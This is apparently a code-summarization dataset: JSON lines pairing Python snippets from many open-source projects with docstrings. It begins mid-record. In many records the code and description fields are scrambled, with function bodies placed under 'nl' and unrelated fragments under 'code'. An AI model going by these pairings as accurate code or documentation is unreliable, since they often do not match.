\"set_quantity\")# And validate the picking behind the scene while we are processing it# with the reception screenfor move in self.picking.move_lines:move.quantity_done = move.product_uom_qtyself.picking._action_done()self.assertEqual(self.picking.state, \"done\")# Continue the work on the reception screen by receiving some qty:# an error should be raisedself.screen.current_move_line_qty_done = 4with self.assertRaises(exceptions.UserError):self.screen.button_save_step()def test_reception_screen_scan_storage_type(self):Tests the scanning of a storage type."} {"code": "def __str__(self):\n\n\t\tif py3:\n\t\t\treturn self._plaintext\n\t\treturn safe_encode(self._plaintext)\n", "nl": "returns:desc:\tA representation of the exception in plaintext.type:\tstr"} {"code": "def control_dir_name():\n return ScanDir._CONTROL_DIR\n\n @property", "nl": "Gets the name of the svscan control directory."} {"code": "def _test_required_field(self, field_name):\n del self.form_data[field_name]\n form = ContactForm(self.form_data)\n self.assertFalse(form.is_valid())\n self.assertIn(field_name, form.errors)", "nl": "Check that the form does not validate without a given field."} {"code": "def test_between_paragraphs(self):\n\n document = WordprocessingDocumentFactory()\n document.add(MainDocumentPart, document_xml)\n\n expected_html = '

aaa


bbb

'\n self.assert_document_generates_html(document, expected_html)\n", "nl": "document_xml =

aaa


bbb

"} {"code": "def get_curline_index_start():\n linter.register_checker(RefactoringChecker(linter))\n linter.register_checker(NotChecker(linter))\n linter.register_checker(RecommandationChecker(linter))\n linter.register_checker(LenChecker(linter))", "nl": "Get the index denoting the start of the current linefor subindex, token in enumerate(reversed(tokens[:index])):# See Lib/tokenize.py and Lib/token.py in cpython for more infoif token.type in (tokenize.NEWLINE, tokenize.NL):return index - subindexreturn 0curline_start = get_curline_index_start()expected_tokens = {\"return\", \"yield\"}for prevtoken in tokens[curline_start:index]:if \"=\" in prevtoken.string or prevtoken.string in expected_tokens:return Truereturn Falsedef register(linter):Required method to auto register this checker."} {"code": "def _cmp(self, other):\n\n if self._is_special or other._is_special:\n self_inf = self._isinfinity()\n other_inf = other._isinfinity()\n if self_inf == other_inf:\n return 0\n elif self_inf < other_inf:\n return -1\n else:\n return 1\n\n if not self:\n if not other:\n return 0\n else:\n return -((-1)**other._sign)\n if not other:\n return (-1)**self._sign\n\n if other._sign < self._sign:\n return -1\n if self._sign < other._sign:\n return 1\n\n self_adjusted = self.adjusted()\n other_adjusted = other.adjusted()\n if self_adjusted == other_adjusted:\n self_padded = self._int + '0'*(self._exp - other._exp)\n other_padded = other._int + '0'*(other._exp - self._exp)\n if self_padded == other_padded:\n return 0\n elif self_padded < other_padded:\n return -(-1)**self._sign\n else:\n return (-1)**self._sign\n elif self_adjusted > other_adjusted:\n return (-1)**self._sign\n else:\n return -((-1)**self._sign)\n\n", "nl": "Compare the two non-NaN decimal instances self and other.Returns -1 if self < other, 0 if self == other and 1if self > other. This routine is for internal use only."} {"code": "def testBin(self):\n self.assertEqual(engine1.action(100.0), 0)\n self.assertEqual(engine1.action(101.0), 0)\n self.assertEqual(engine1.action(101.999), 0)\n self.assertEqual(engine1.action(102.0), 1)\n self.assertEqual(engine1.action(109.999), 4)\n\n engine2, = PFAEngine.fromYaml('''\n self.assertEqual(engine2.action(99.0), -1)\n self.assertEqual(engine2.action(99.999), -1)\n self.assertEqual(engine2.action(100.0), 0)\n self.assertEqual(engine2.action(101.0), 0)\n self.assertEqual(engine2.action(101.999), 0)\n self.assertEqual(engine2.action(102.0), 1)\n self.assertEqual(engine2.action(109.999), 4)\n self.assertEqual(engine2.action(110.0), 5)\n self.assertEqual(engine2.action(0.0), -50)\n", "nl": "engine1, = PFAEngine.fromYaml(input: doubleoutput: intaction:interp.bin: [input, 5, 100, 110])"} {"code": "def cast(x, dtype):\n Calculate the max and argmax over a given axis or over all axes.\n\n \"\"\"", "nl": "Symbolically cast `x` to a Tensor of type `dtype`.if dtype == 'floatX':dtype = config.floatX_x = as_tensor_variable(x)if _x.type.dtype == dtype:return _xif _x.type.dtype.startswith('complex') and not dtype.startswith('complex'):raise TypeError(('Casting from complex to real is ambiguous: consider real(), ''imag(), angle() or abs()'))return _cast_mapping[dtype](x)########################### Unary Operations##########################class MaxAndArgmax(Op):"} {"code": "def pytest_sessionstart(session):\n\n", "nl": " called after the ``Session`` object has been created and before performing collectionand entering the run test loop.:param _pytest.main.Session session: the pytest session object"} {"code": "def test_color_menu(data: ColorMenuTestEntry):\n entry = PresentableSettingsEntry(\n choices=[],\n current_settings_file=\"\",\n current_value=\"\",", "nl": "Test color menu for a val set to the default.:param data: A test entry"} {"code": "def test_station_magnitude(self):\n filename = os.path.join(self.path, 'gse_2.0_standard.txt')\n catalog = _read_gse2(filename)\n self.assertEqual(len(catalog), 1)\n station_magnitudes = catalog[0].station_magnitudes\n self.assertEqual(len(station_magnitudes), 4)\n sta_mag_1 = station_magnitudes[0]\n self.assertEqual(\n sta_mag_1.resource_id, 'smi:local/magnitude/station/3586432/0')\n self.assertEqual(sta_mag_1.origin_id, 'smi:local/origin/282672')\n self.assertEqual(sta_mag_1.mag, 4.0)\n self.assertEqual(sta_mag_1.station_magnitude_type, 'ML')\n self.assertEqual(sta_mag_1.amplitude_id, 'smi:local/amplitude/3586432')\n self.assertEqual(sta_mag_1.method_id, None)\n self.assertNotEqual(sta_mag_1.creation_info, None)\n self.assertEqual(len(sta_mag_1.comments), 0)\n\n waveform_1 = sta_mag_1.waveform_id\n self.assertEqual(waveform_1.network_code, 'XX')\n self.assertEqual(waveform_1.station_code, 'GERES')\n self.assertEqual(waveform_1.channel_code, None)\n self.assertEqual(waveform_1.location_code, None)\n self.assertEqual(waveform_1.resource_uri, None)\n\n sta_mag_2 = station_magnitudes[1]\n self.assertEqual(\n sta_mag_2.resource_id, 'smi:local/magnitude/station/3586555/0')\n self.assertEqual(sta_mag_2.origin_id, 'smi:local/origin/282672')\n self.assertEqual(sta_mag_2.mag, 3.7)\n self.assertEqual(sta_mag_2.station_magnitude_type, 'mb')\n self.assertEqual(sta_mag_2.amplitude_id, 'smi:local/amplitude/3586555')\n self.assertEqual(sta_mag_2.method_id, None)\n self.assertNotEqual(sta_mag_2.creation_info, None)\n self.assertEqual(len(sta_mag_2.comments), 0)\n fields = {\n 'line_1': {\n 'author': slice(105, 113),\n 'id': slice(114, 123),\n },\n 'line_2': {\n 'az': slice(40, 46),\n 'antype': slice(105, 106),\n 'loctype': slice(107, 108),\n 'evtype': slice(109, 111),\n },\n 'arrival': {\n 'amp': slice(94, 104),\n },\n }\n filename = os.path.join(self.path, 'event.txt')\n catalog = _read_gse2(filename, fields=fields,\n res_id_prefix=\"quakeml:ldg\",\n event_point_separator=True)\n station_magnitudes = catalog[0].station_magnitudes\n self.assertEqual(len(station_magnitudes), 5)\n sta_mag_3 = station_magnitudes[0]\n self.assertEqual(sta_mag_3.resource_id.id,\n 'quakeml:ldg/magnitude/station/6867444/1')\n self.assertEqual(sta_mag_3.origin_id.id, 'quakeml:ldg/origin/375628')\n self.assertEqual(sta_mag_3.mag, 1.7)\n self.assertEqual(sta_mag_3.station_magnitude_type, 'Md')\n self.assertEqual(sta_mag_3.amplitude_id.id,\n 'quakeml:ldg/amplitude/6867444')\n self.assertEqual(sta_mag_3.method_id, None)\n self.assertEqual(sta_mag_3.waveform_id.get_seed_string(), 'XX.MBDF..')\n self.assertNotEqual(sta_mag_3.creation_info, None)\n self.assertEqual(len(sta_mag_3.comments), 0)\n\n waveform_2 = sta_mag_2.waveform_id\n self.assertEqual(waveform_2.network_code, 'XX')\n self.assertEqual(waveform_2.station_code, 'FINES')\n self.assertEqual(waveform_2.channel_code, None)\n self.assertEqual(waveform_2.location_code, None)\n self.assertEqual(waveform_2.resource_uri, None)\n", "nl": "Test StationMagnitude object."} {"code": "def indentsize(line):\n\n All tabs are expanded to spaces. To clean up docstrings that are\n indented to line up with blocks of code, any whitespace than can be\n uniformly removed from the second line onwards is removed.\"\"\"", "nl": "Return the indent size, in spaces, at the start of a line of text.expline = string.expandtabs(line)return len(expline) - len(string.lstrip(expline))def getdoc(object):Get the documentation string for an object."} {"code": "def annotate_and_time(client, text, properties={}):\n with corenlp.CoreNLPClient(server_id='test_server_start_preload') as client:\n time.sleep(140)\n results = annotate_and_time(client, EN_DOC)\n compare_ignoring_whitespace(results['annotation'], EN_PRELOAD_GOLD)\n assert results['end_time'] - results['start_time'] < 3\n\n", "nl": " Submit an annotation request and return how long it took start = time.time()ann = client.annotate(text, properties=properties, output_format=\"text\")end = time.time()return {'annotation': ann, 'start_time': start, 'end_time': end}def test_preload(): Test that the default annotators load fully immediately upon server start "} {"code": "def del_arguments(self, group: str, argument: Optional[str] = None) -> Any:\n if group in self.__config[\"arguments\"]:\n if argument:\n result = self.__config[\"arguments\"][group].pop(argument)\n else:\n result = self.__config[\"arguments\"].pop(group)\n else:\n result = None\n\n return result\n", "nl": "Delete an argument from an argument group or the entire argument group.Used in conjunction with the set_arguments() method.generator.del_arguments('small')generator.del_arguments('small', 'max_value')"} {"code": "def do_yell(player: Player, parsed: base.ParseResult, ctx: util.Context) -> None:\n if not parsed.unparsed:\n raise ActionRefused(\"Say what?\")\n message = parsed.unparsed\n if not parsed.unparsed.endswith((\".\", \"!\", \"?\")):\n message += \".\"\n target = \"\"\n if parsed.who_count:\n possible_target = parsed.who_1\n if parsed.who_info[possible_target].previous_word == \"to\":\n if parsed.args[0] in (possible_target.name, possible_target.title) or parsed.args[0] in possible_target.aliases:\n target = \" to \" + possible_target.title\n _, _, message = message.partition(parsed.args[0])\n message = message.lstrip()\n player.tell(\"You say%s: %s\" % (target, message))\n player.tell_others(\"{Actor} says%s: %s\" % (target, message))\n\n\n@cmd(\"wait\")\n@disabled_in_gamemode(GameMode.MUD)\n@overrides_soul", "nl": "Yell something. People in nearby locations will also be able to hear you.if not parsed.unparsed:raise ActionRefused(\"Yell what?\")message = parsed.unparsedif not parsed.unparsed.endswith((\".\", \"!\", \"?\")):message += \"!\"player.tell(\"You %s: %s\" % (parsed.verb, message))player.tell_others(\"{Actor} %ss: %s\" % (parsed.verb, message))# send this to nearby locations as well:player.location.message_nearby_locations(\"Someone nearby is %s: %s\" % (lang.fullverb(parsed.verb), message))@cmd(\"say\", \"mention\")@no_soul_parsedef do_say(player: Player, parsed: base.ParseResult, ctx: util.Context) -> None:Say something to people near you."} {"code": "def set_offset_auto(self):\n\t\treturn dict(\n\t\t\tgradient = self.gradient,\n\t\t\tgfilter = self.filters.current,\n\t\t\tdata = self.database.get_dump(self.icongroups.current.name)\n\t\t)\n", "nl": "Set fair offset for all colors in gradientrownum = len(self.store['colorlist'])if rownum > 1:step = 100 / (rownum - 1)for i, row in enumerate(self.store['colorlist']):row[self.ced['Offset']] = i * stepelif rownum == 1:self.store['colorlist'][0][self.ced['Offset']] = 100def current_state(self):Get current icon settings"} {"code": "def rebalance(self):\n self.updateheights(False)\n self.update_balances(False)\n while self.balance < -1 or self.balance > 1:\n if self.balance > 1:\n if self.node.left.balance < 0:\n self.node.left.rrotate()\n self.updateheights()\n self.update_balances()\n self.rrotate()\n self.updateheights()\n self.update_balances()\n\n if self.balance < -1:\n if self.node.right.balance > 0:\n self.node.right.rrotate()\n self.updateheights()\n self.update_balances()\n self.lrotate()\n self.updateheights()\n self.update_balances()\n\n\n", "nl": "Rebalance a particular (sub)tree"} {"code": "def load(self, queue_name, cidr):\n raise NotImplementedError\n", "nl": "Create and populate a queue with IP addressesThe network address and broadcast addresses should be excluded fromthe IP addresses loaded into the queue.Queue names should associate with their given CIDR. The queue valuesshould be a list of all available IP addresses based on CIDR rangeand IP addresses already assigned."} {"code": "def yolo(inputs, anchors, num_classes):\n\n box_scores = box_confidence * box_class_probs\n box_classes = K.argmax(box_scores, axis=-1)\n box_class_scores = K.max(box_scores, axis=-1)\n prediction_mask = box_class_scores >= threshold\n\n boxes = tf.boolean_mask(boxes, prediction_mask)\n scores = tf.boolean_mask(box_class_scores, prediction_mask)\n classes = tf.boolean_mask(box_classes, prediction_mask)\n\n return boxes, scores, classes\n\n", "nl": "Generate a complete YOLO_v2 localization model.num_anchors = len(anchors)body = yolo_body(inputs, num_anchors, num_classes)outputs = yolo_head(body.output, anchors, num_classes)return outputsdef yolo_filter_boxes(box_confidence, boxes, box_class_probs, threshold=.6):Filter YOLO boxes based on object and class confidence."} {"code": "def ftypes(self):\n from pandas import Series\n return Series(self._data.get_ftypes(), index=self._info_axis,\n dtype=np.object_)\n", "nl": "Return the ftypes (indication of sparse/dense and dtype) in DataFrame.This returns a Series with the data type of each column.The result's index is the original DataFrame's columns. Columnswith mixed types are stored with the ``object`` dtype. See:ref:`the User Guide ` for more.Returns-------pandas.SeriesThe data type and indication of sparse/dense of each column.See Also--------pandas.DataFrame.dtypes: Series with just dtype information.pandas.SparseDataFrame : Container for sparse tabular data.Notes-----Sparse data should have the same dtypes as its dense representation.Examples-------->>> arr = np.random.RandomState(0).randn(100, 4)>>> arr[arr < .8] = np.nan>>> pd.DataFrame(arr).ftypes0 float64:dense1 float64:dense2 float64:dense3 float64:densedtype: object>>> pd.SparseDataFrame(arr).ftypes0 float64:sparse1 float64:sparse2 float64:sparse3 float64:sparsedtype: object"} {"code": "def mouseInfo():\n raise PyAutoGUIException(\n \"PyAutoGUI was unable to import mouseinfo. Please install this module to enable the function you tried to call.\"\n )\n\n", "nl": "This function raises PyAutoGUIException. It's used for the MouseInfo function names if the MouseInfo modulefailed to be imported."} {"code": "def _marking_view(request, course_slug, activity_slug, userid, groupmark=False):\n with django.db.transaction.atomic():\n course = get_object_or_404(CourseOffering, slug=course_slug)\n activity = get_object_or_404(NumericActivity, offering=course, slug=activity_slug, deleted=False)\n components = ActivityComponent.objects.filter(numeric_activity=activity, deleted=False)\n if groupmark:\n group = get_object_or_404(Group, slug=userid, courseoffering=course)\n ActivityMarkForm = GroupActivityMarkForm\n group_members = GroupMember.objects.filter(group=group, activity=activity)\n else:\n student = get_object_or_404(Person, find_userid_or_emplid(userid))\n membership = get_object_or_404(Member, offering=course, person=student, role='STUD')\n if activity.quiz_marking():\n return redirect('offering:quiz:mark_student', course_slug=course_slug, activity_slug=activity_slug, member_id=membership.id)\n ActivityMarkForm = StudentActivityMarkForm\n\n postdata = None\n filedata = None\n am = None\n if request.method == 'POST':\n postdata = request.POST\n filedata = request.FILES\n if 'base_activity_mark' in request.GET:\n old_id = request.GET['base_activity_mark']\n try:\n old_id = int(old_id)\n except ValueError:\n am = None\n else:\n if groupmark:\n am = get_group_mark_by_id(activity, group, old_id)\n else:\n am = get_activity_mark_by_id(activity, membership, old_id)\n elif 'load_old' in request.GET:\n if groupmark:\n am = get_group_mark(activity, group)\n else:\n am = get_activity_mark_for_student(activity, membership)\n\n form = ActivityMarkForm(instance=am, data=postdata, files=filedata)\n component_data = []\n for i,c in enumerate(components):\n old_c = None\n if am:\n try:\n old_c = am.activitycomponentmark_set.filter(activity_component=c)[0]\n except IndexError:\n pass\n f = ActivityComponentMarkForm(component=c, instance=old_c, data=postdata, prefix=\"cmp-%s\" % (i+1))\n common = CommonProblem.objects.filter(activity_component=c, deleted=False)\n component_data.append( {'component': c, 'form': f, 'common_problems': common } )\n\n if request.method == 'POST':\n if form.is_valid() and (False not in [entry['form'].is_valid() for entry in component_data]):\n\n am = form.save(commit=False)\n am.pk = None\n am.id = None\n am.created_by = request.user.username\n am.activity = activity\n if 'file_attachment' in request.FILES:\n upfile = request.FILES['file_attachment']\n filetype = upfile.content_type\n if upfile.charset:\n filetype += \"; charset=\" + upfile.charset\n am.file_mediatype = filetype\n\n if groupmark:\n am.group = group\n am.numeric_activity = activity\n else:\n try:\n ngrade = NumericGrade.objects.get(activity=activity, member=membership)\n except NumericGrade.DoesNotExist:\n ngrade = NumericGrade(activity=activity, member=membership)\n ngrade.save(newsitem=False, entered_by=None, is_temporary=True)\n am.numeric_grade = ngrade\n\n total = decimal.Decimal(0)\n components_not_all_there = False\n for entry in component_data:\n value = entry['form'].cleaned_data['value']\n if value is None:\n components_not_all_there = True\n else:\n total += value\n if value > entry['component'].max_mark:\n messages.add_message(request, messages.WARNING, \"Bonus marks given for %s\" % (entry['component'].title))\n if value < 0:\n messages.add_message(request, messages.WARNING, \"Negative mark given for %s\" % (entry['component'].title))\n if not components_not_all_there:\n mark = (1-form.cleaned_data['late_penalty']/decimal.Decimal(100)) * \\\n (total - form.cleaned_data['mark_adjustment'])\n else:\n mark = None\n\n am.setMark(mark, entered_by=request.user.username)\n am.save()\n form.save_m2m()\n for entry in component_data:\n c = entry['form'].save(commit=False)\n c.activity_component = entry['component']\n c.activity_mark = am\n c.save()\n entry['form'].save_m2m()\n\n if groupmark:\n messages.add_message(request, messages.SUCCESS, 'Mark for group \"%s\" on %s saved: %s/%s.' % (group.name, activity.name, mark, activity.max_grade))\n else:\n messages.add_message(request, messages.SUCCESS, 'Mark for %s on %s saved: %s/%s.' % (student.name(), activity.name, mark, activity.max_grade))\n l = LogEntry(userid=request.user.username,\n description=(\"marked %s for %s: %s/%s\") % (activity, userid, mark, activity.max_grade),\n related_object=am)\n l.save()\n\n if 'marknext' in request.POST:\n try:\n nextmember = Member.objects.filter(offering=course, person__userid__gt=userid, role=\"STUD\"\n ).order_by('person__userid')[0]\n return HttpResponseRedirect(reverse('offering:marking:marking_student',\n kwargs={'course_slug': course.slug, 'activity_slug': activity.slug,\n 'userid': nextmember.person.userid}) + \"?load_old\")\n except IndexError:\n messages.add_message(request, messages.INFO, 'That was the last userid in the course.')\n elif groupmark:\n return HttpResponseRedirect(reverse('offering:activity_info_with_groups',\n kwargs={'course_slug': course.slug, 'activity_slug': activity.slug}))\n\n return _redirct_response(request, course_slug, activity_slug)\n\n context = {'course': course, 'activity': activity, 'form': form, 'component_data': component_data }\n if groupmark:\n context['group'] = group\n context['group_members'] = list(group_members)\n else:\n context['student'] = student\n return render(request, \"marking/marking.html\", context)\n\n\n@requires_course_staff_by_slug", "nl": "Function to handle all of the marking views (individual/group, new/editing, GET/POST).Long and has lots of conditional code, but avoids logic duplication."} {"code": "def _get_param_updates(self, alpha):\n\n result = []\n deltas = dict()\n for path, gradient in zip(self.network.get_variables(),\n self._gradients):\n ms_gradient_old = self._params[path + '_mean_sqr_gradient']\n ms_gradient = \\\n self._gamma * ms_gradient_old + \\\n (1.0 - self._gamma) * tensor.sqr(gradient)\n result.append((ms_gradient_old, ms_gradient))\n\n rms_gradient = tensor.sqrt(ms_gradient + self._epsilon)\n deltas[path] = -gradient / rms_gradient\n self._normalize(deltas)\n\n for path, param_old in self.network.get_variables().items():\n delta = deltas[path]\n result.append((param_old, param_old + alpha * delta))\n return result", "nl": "Returns Theano expressions for updating the model parameters and anyadditional parameters required by the optimizer.:type alpha: Variable:param alpha: a scale to be applied to the model parameter updates:rtype: iterable over pairs (shared variable, new expression):returns: expressions how to update the optimizer parameters"} {"code": "def _decode_record(record, name_to_features):\n batch_size = params[\"batch_size\"]\n\n d = tf.data.TFRecordDataset(input_file)\n if is_training:\n d = d.repeat()\n d = d.shuffle(buffer_size=100)\n d = d.skip(skip)\n\n d = d.apply(\n tf.data.experimental.map_and_batch(\n lambda record: _decode_record(record, name_to_features),\n batch_size=batch_size,\n drop_remainder=drop_remainder))\n\n return d\n\n return input_fn\n\n", "nl": "Decodes a record to a TensorFlow example.example = tf.parse_single_example(record, name_to_features)example[\"label_ids\"] = example[\"next_sentence_labels\"]# tf.Example only supports tf.int64, but the TPU only supports tf.int32.# So cast all int64 to int32.for name in list(example.keys()):t = example[name]if t.dtype == tf.int64:t = tf.to_int32(t)example[name] = treturn exampledef input_fn(params):The actual input function."} {"code": "def from_dict(cls, d):\n w, h = d.get(\"image_wh\", [1.0, 1.0])\n return Camera(\n K=cls.normalize(d[\"K\"], w, h) if \"K\" in d else None,\n Tw=d.get(\"Tw\", d.get(\"pose\")),\n dist_coeffs=d.get(\"dist_coeffs\"),\n )\n\n @staticmethod", "nl": "Contruct a camera from a dictArgs:d (dict): A dictionary containing entries for:- 'K': A 3x3 intrinsic matrix- 'Tw': A 4x4 pose matrix- 'dist_coeffs': A (5,) vector of distortion coefficients"} {"code": "def __init__(self, xvalues, methods, plot_matrix):\n self.xvalues = xvalues\n self.methods = methods\n self.plot_matrix = plot_matrix\n", "nl": "xvalues: 1d numpy array of x-axis valuesmethods: a list of method namesplot_matrix: len(methods) x len(xvalues) 2d numpy array containingvalues that can be used to plot"} {"code": "def _denormalize_prediction(self, x_pred):\n\n This normalizes the predictions based on the real normalization\n parameters and then generates a prediction\n\n Args:\n X_input: Input vector to for prediction\n \"\"\"", "nl": "De-normalize the x_pred to actual value as per dataset.value = self.scalar_y.inverse_transform(x_pred)return valuedef predict(self, X_input):Make predictions, given some input data."} {"code": "def mac_osx_install_route(self):\n\n os.system(\"chmod +x ./src/main.py\")\n print(\"| Set Tachyon Executable Permission []|\")\n\n os.system('export PATH=\"$PATH:$HOME/bin\"')\n print(\"| Add Customised Directory to $PATH []|\")\n\n os.system(\"ln -s \" + os.getcwd() + \"/src/main.py /usr/local/bin/tachyon\")\n print(\"| Create Symbolic Link to Script []|\")\n\n\nif __name__ == \"__main__\":\n installer = Setup()\n installer.setup()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "nl": " MacOSX Install RouteThis method will install the tachyon language on a mac by making atachyon executable and adding it the /usr/local/bin directory"} {"code": "def half_aperture(self, u):\n raise NotImplementedError\n\n @abstractmethod", "nl": "Compute the half aperture of an entailment cone.As in: https://arxiv.org/pdf/1804.01882.pdf"} {"code": "def __init__(self, env: gym.Env) -> None:\n observation, reward, done, info = self.env.step(action)\n if observation[\"lane_invasion\"] > 0:\n logging.debug(\"A lane was invaded\")\n done = True\n reward = -1.0\n return observation, reward, done, info\n\n\nclass CollisionsMetric(Metric):\n \"\"\"Records the number of collisions in an episode.\"\"\"", "nl": "Constructs a gym wrapper to terminate execution on lane invasion.super(TerminateOnLaneInvasionWrapper, self).__init__(env=env)def step(self, action: CARLAAction, *args: Any, **kwargs: Any) -> Transition:Steps the wrapped environment and terminates if any lane is invaded."} {"code": "def addressResolved(self, address):\n self._addresses.append(address)\n\n", "nl": "An address was resolved.@param address: see L{IResolutionReceiver}"} {"code": "def test_cli_with_empty_return():\n\n @hug.cli()", "nl": "Test to ensure that if you return None no data will be added to sys.stdout@hug.cli()def test_empty_return():passassert not hug.test.cli(test_empty_return)def test_cli_with_multiple_ints():Test to ensure multiple ints work with CLI"} {"code": "def rating_sampler(self, batch_size, segment='train', sequential=None):\n if segment == 'train':\n sequential = False if sequential is None else sequential\n node_pairs, ratings = self._train_node_pairs, self._train_ratings\n elif segment == 'valid':\n sequential = True if sequential is None else sequential\n node_pairs, ratings = self._valid_node_pairs, self._valid_ratings\n elif segment == 'test':\n sequential = True if sequential is None else sequential\n node_pairs, ratings = self._test_node_pairs, self._test_ratings\n else:\n raise NotImplementedError('segment must be in {}, received {}'.format(['train', 'valid', 'test'], segment))\n if batch_size < 0:\n batch_size = node_pairs.shape[1]\n else:\n batch_size = min(batch_size, node_pairs.shape[1])\n if sequential:\n for start in range(0, node_pairs.shape[1], batch_size):\n end = min(start + batch_size, node_pairs.shape[1])\n yield node_pairs[:, start:end], ratings[start:end]\n else:\n while True:\n if batch_size == node_pairs.shape[1]:\n yield node_pairs, ratings\n else:\n sel = self._rng.choice(node_pairs.shape[1], batch_size, replace=False)\n yield node_pairs[:, sel], ratings[sel]\n", "nl": " Return the sampler for ratingsParameters----------batch_size : int, -1 means the whole data samplessegment : strsequential : bool or NoneWhether to sample in a sequential manner. If it's set to None, it will beautomatically determined based on the sampling segment.Returns-------node_pairs : np.ndarrayShape (2, #Edges)ratings : np.ndarrayShape (#Edges,)"} {"code": "def num_embed_features(self):\n return len(self.feature_groups['vector'])\n", "nl": " Returns number of embed features in this dataset return len(self.feature_groups['embed'])def num_vector_features(self): Number of vector features (each onehot feature counts = 1, regardless of how many categories) "} {"code": "def invalid_marker(text):\n try:\n evaluate_marker(text)\n except SyntaxError as e:\n e.filename = None\n e.lineno = None\n return e\n return False\n\n", "nl": "Validate text as a PEP 508 environment marker; return an exceptionif invalid or False otherwise."} {"code": "def canonical_name(self) -> dns.name.Name:\n return self.resolve_chaining().canonical_name\n\n", "nl": "Return the canonical name of the first name in the questionsection.Raises ``dns.message.NotQueryResponse`` if the message is nota response.Raises ``dns.message.ChainTooLong`` if the CNAME chain is too long.Raises ``dns.message.AnswerForNXDOMAIN`` if the rcode is NXDOMAINbut an answer was found.Raises ``dns.exception.FormError`` if the question count is not 1."} {"code": "def reset_states(self, batch_size: int) -> None:\n self._dynamic_embeddings.detach_states()\n\n @overrides", "nl": "Resets the model's internals. Should be called at the start of a new batch.self._encoder.reset_states()self._dynamic_embeddings.reset_states(batch_size)self._state = Nonedef detach_states(self):Detaches the model's state to enforce truncated backpropagation."} {"code": "def get_routers_l3_agents_count(self, context):\n\n It will not return agents in 'dvr' mode or in 'dvr_no_external' mode\n for a dvr router as dvr routers are not explicitly scheduled to l3\n agents on compute nodes\n \"\"\"", "nl": "Return a map between routers and agent counts for all routers.# TODO(sshank): This portion needs Router OVO integration when it is# merged.l3_model_list = l3_objs.RouterExtraAttributes.get_router_agents_count(context)return [(self._make_router_dict(router_model),agent_count if agent_count else 0)for router_model, agent_count in l3_model_list]def get_l3_agents(self, context, active=None, filters=None):agent_filters = {'agent_type': constants.AGENT_TYPE_L3}if active is not None:agent_filters['admin_state_up'] = activeconfig_filters = []if filters:for key, value in filters.items():column = ag_obj.Agent.fields.get(key, None)if column:if not value:return []agent_modes = filters.pop('agent_modes', [])if agent_modes:config_filters = set('\\\"agent_mode\\\": \\\"%s\\\"' % agent_modefor agent_mode in agent_modes)agent_filters.update(filters)agent_objs = []if config_filters:for conf_filter in config_filters:agent_objs.extend(ag_obj.Agent.get_objects_by_agent_mode(context, conf_filter, **agent_filters))else:agent_objs = ag_obj.Agent.get_objects(context, **agent_filters)return [l3_agentfor l3_agent in agent_objsif agentschedulers_db.AgentSchedulerDbMixin.is_eligible_agent(active, l3_agent)]def get_l3_agent_candidates(self, context, sync_router, l3_agents,ignore_admin_state=False):Get the valid l3 agents for the router from a list of l3_agents."} {"code": "def test_protocols_directory_content(self):\n dir = Path(self.t, self.agent_name, \"connections\")\n assert dir.exists()\n assert dir.is_dir()\n assert set(dir.iterdir()) == {dir / \"__init__.py\"}\n", "nl": "Test the content of the 'protocols' directory.dir = Path(self.t, self.agent_name, \"protocols\")assert dir.exists()assert dir.is_dir()assert set(dir.iterdir()) == {dir / \"__init__.py\"}def test_connections_directory_content(self):Test the content of the 'connections' directory."} {"code": "def post(self, request, bot_id, id, format=None):\n return super(KikRecipientList, self).post(request, bot_id, id, format)\n\nclass KikRecipientDetail(PermabotsAPIView):\n model = KikRecipient\n serializer = KikRecipientSerializer\n", "nl": "Add a new kik recipient to a handler---serializer: KikRecipientSerializerresponseMessages:- code: 401message: Not authenticated- code: 400message: Not valid request"} {"code": "def equals(self, other: Schema) -> bool:\n if not isinstance(other, Schema):\n raise TypeError(\n \"invalid equality comparison between Schema and \"\n f\"{type(other)}\"\n )\n return self.__cached_equals__(other)\n", "nl": "Return whether `other` is equal to `self`.Parameters----------otherSchema to compare `self` to.Examples-------->>> import ibis>>> first = ibis.schema({\"a\": \"int\"})>>> second = ibis.schema({\"a\": \"int\"})>>> first.equals(second)True>>> third = ibis.schema({\"a\": \"array\"})>>> first.equals(third)False"} {"code": "def resolve_system_entity(self, query, entity_type, span):\n pass\n\n @abstractmethod", "nl": "Resolves a system entity in the provided query at the specified span.Args:query (Query): The query containing the entityentity_type (str): The type of the entityspan (Span): The character span of the entity in the queryReturns:Entity: The resolved entityRaises:SystemEntityResolutionError"} {"code": "def decrypt_and_verify(self, ciphertext, received_mac_tag):\n\n plaintext = self.decrypt(ciphertext)\n self.verify(received_mac_tag)\n return plaintext\n\n", "nl": "Perform decrypt() and verify() in one step.:Parameters:ciphertext : byte stringThe piece of data to decrypt.received_mac_tag : byte stringThis is the *binary* MAC, as received from the sender.:Return: the decrypted data (byte string).:Raises ValueError:if the MAC does not match. The message has been tampered withor the key is incorrect."} {"code": "def max_positions(self):\n m = nn.Linear(in_features, out_features, bias=bias)\n m.weight.data.uniform_(-0.1, 0.1)\n if bias:\n m.bias.data.uniform_(-0.1, 0.1)\n return m\n\n\n@register_model_architecture('lstm', 'lstm')", "nl": "Maximum output length supported by the decoder.return self.max_target_positionsdef make_generation_fast_(self, need_attn=False, **kwargs):self.need_attn = need_attndef Embedding(num_embeddings, embedding_dim, padding_idx):m = nn.Embedding(num_embeddings, embedding_dim, padding_idx=padding_idx)nn.init.uniform_(m.weight, -0.1, 0.1)nn.init.constant_(m.weight[padding_idx], 0)return mdef LSTM(input_size, hidden_size, **kwargs):m = nn.LSTM(input_size, hidden_size, **kwargs)for name, param in m.named_parameters():if 'weight' in name or 'bias' in name:param.data.uniform_(-0.1, 0.1)return mdef LSTMCell(input_size, hidden_size, **kwargs):m = nn.LSTMCell(input_size, hidden_size, **kwargs)for name, param in m.named_parameters():if 'weight' in name or 'bias' in name:param.data.uniform_(-0.1, 0.1)return mdef Linear(in_features, out_features, bias=True, dropout=0):Linear layer (input: N x T x C)"} {"code": "def set_maximum_size(self, max_size):\n if -1 in max_size:\n max_size = (16777215, 16777215)\n self.widget.setMaximumSize(QSize(*max_size))\n", "nl": " Sets the maximum size of the widget."} {"code": "def update(self, sid):\n for key, val in self.sdb[sid].items():\n _val = getattr(self, key)\n if not _val and val:\n setattr(self, key, val)\n elif key == \"grant\" and val:\n _tmp = {}\n for state, info in _val.items():\n try:\n info.join(val[state])\n except KeyError:\n pass\n\n _tmp[state] = info\n setattr(self, key, _tmp)\n\n return self\n", "nl": "Update the instance variables from something stored in the session database.Will not overwrite something that's already there.Except for the grant dictionary !!:param sid: Session identifier"} {"code": "def __invert__(self):\n return float(int(self))\n\n @property", "nl": 